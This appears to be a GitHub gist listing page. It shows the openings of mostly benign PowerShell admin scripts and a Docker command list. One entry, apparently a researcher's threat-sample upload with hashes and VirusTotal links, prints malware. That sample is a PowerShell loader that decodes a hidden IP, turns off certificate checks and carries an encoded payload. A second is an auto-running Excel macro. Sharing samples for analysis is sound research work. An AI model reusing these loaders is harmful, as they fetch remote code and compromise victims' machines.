Skip to content

Instantly share code, notes, and snippets.

View KurtDeGreeff's full-sized avatar

Kurt De Greeff KurtDeGreeff

View GitHub Profile
<#
.Synopsis
Formatting your T-SQL code
.DESCRIPTION
Formatting T-SQL code through RedGate Format Api (https://www.red-gate.com/products/sql-development/sql-prompt/)
Works on PowerShell Core (aka PowerShell 6+)
.EXAMPLE
$Script = '--(Query 16)_(AlwaysOn AG Cluster)
SELECT cluster_name, quorum_type_desc, quorum_state_desc
<#
.SYNOPSIS
Retries a powershell command n-times.
.DESCRIPTION
The cmdlet is capable of retrying a PowerShell command passed as a [ScriptBlock] according to the user defined number of retries and timeout (In Seconds)
.PARAMETER TimeoutInSecs
Timeout in secods for each retry.
@jdhitsolutions
jdhitsolutions / Get-WindowsVersion.ps1
Last active February 17, 2024 17:37
A set of PowerShell functions to remotely query the registry and get operating system version information.
Function Get-WindowsVersion {
<#
.SYNOPSIS
Get Windows version information
.DESCRIPTION
This is a PowerShell version of the winver.exe utility. This commands uses PowerShell remoting to query the registry on a remote machine to retrieve Windows version information.The parameters are the same as in Invoke-Command.
.PARAMETER Computername
Specifies the computers on which the command runs. The default is the local computer.
@IISResetMe
IISResetMe / ConvertFrom-EventLogRecord.ps1
Last active October 23, 2024 15:53
Convert EventData fields from windows event log records to objects
function ConvertFrom-EventLogRecord
{
param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[System.Diagnostics.Eventing.Reader.EventLogRecord[]]
$InputEvent,
[Parameter(Mandatory=$true,Position=1)]
[ValidateNotNullOrEmpty()]
[string[]]
@jdhitsolutions
jdhitsolutions / Out-WPFGrid.ps1
Last active May 30, 2022 06:07
A Windows PowerShell function to display command output in an interactive WPF-based datagrid.
#requires -version 5.0
# ToDo: Add option to use last position for Top and Left properties of the form or provide that as an option
# ToDo: Add statusbar for timer countdown and other information
Function Out-WPFGrid {
<#
.Synopsis
Send command output to an interactive WPF-based grid.
@rokinmaharjan
rokinmaharjan / Docker commands
Last active February 11, 2019 10:19
Docker commands
1. Show all images
docker images
2. Show all running containers
docker ps
3. Show all running and stopped containers
docker ps -a
4. Run an container
@JohnLaTwC
JohnLaTwC / PS1 threat
Created August 23, 2018 16:44
2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132
## Uploaded by @JohnLaTwC
## Hash: 2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132
## VT Link: https://www.virustotal.com/#/file/2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132/detection
## Original file
$YHRIul = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("MTYyLjI0NC4zMi4xNDg="))
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$gxPVX = [System.Convert]::FromBase64String("H4sIAAAAAAACC+1Ye2wcRxn/9r17ti9Zn3t3cXq+S/PoNW6ujp02rZSCE9u0TuLYiZ3EdmiT9d3G3uS8e9lbu3GBKIhQUaGmtVBKW1KrPFRVgAoIJAIFiao8WqCIBhCISihUolSqACEeQiAIv5nd8yM2rdQ/+AfWvm++13zP2Zm56xt9hCQikvG5epXoEoVPJ739cxafePbrcfqK8fK6S8Lel9cNTTjVXMX3xn1rMle0XNcLcmN2zp9yc46b6+4fzE16JbvQ0BDbENkY6CHaK0j0929Vj9TsXiFxXZ2gEzWBUEPeXAdArhZYZ4iLYdxECyMPSgxRiTo/TLSa/y+M80PoH3b3RCYfE1dI8hhRPb2DB/Hpi0gd9N2L6EJgnw4wfiYR5dW0EPciE8cKftUvUhRbZ5Rocqke2J0F3y57xSjWY5Gt5mV6u5b1sCMc7+ZTFHojTzQRIxLonT2JNpleJz7fzCPWmKcAxPIqQzUGUJVY6qE6qCRkU05mtzxpyp4BZl0VfmP1ehWyWIOhNT+Rr2cTGgAMbe0S6vrFVD
## Uploaded by @JohnLaTwC
## Hash: 6719e80361950cdb10c4a4fcccc389c2a26eaab761c202870353fe65e8f954a3
## VT Link: https://www.virustotal.com/#/file/6719e80361950cdb10c4a4fcccc389c2a26eaab761c202870353fe65e8f954a3/detection
## VBA:
Private Sub WorkBook_Open()
Call VVVV
Application.Wait (Now + TimeValue("0:00:10"))
Call AAAA
@jdhitsolutions
jdhitsolutions / ConvertTo-Markdown.ps1
Created August 15, 2018 14:50
Convert pipeline output to a markdown document
#requires -version 5.0
Function ConvertTo-Markdown {
<#
.Synopsis
Convert pipeline output to a markdown document.
.Description
This command is designed to accept pipelined output and create a markdown document. The pipeline output will formatted as a text block. You can optionally define a title, content to appear before the output and content to appear after the output.
The command does not create a text file. You need to pipe results from this command to a cmdlet like Out-File or Set-Content. See examples.
.Parameter Title
@SMSAgentSoftware
SMSAgentSoftware / New-WizTreeDiskUsageReport.ps1
Created August 15, 2018 13:27
Creates csv and html disk usage reports using WizTree portable
# Script to export html and csv reports of file and directory content on the system drive
# Use to identify large files/directories for disk space cleanup
# Uses WizTree portable to quickly retrieve file and directory sizes from the Master File Table on disk
# Download and extract the WizTree64.exe and place in the same directory as this script
# Set the running location
$RunLocation = $PSScriptRoot
#$RunLocation = "C:\temp"
$TempLocation = "C:\temp"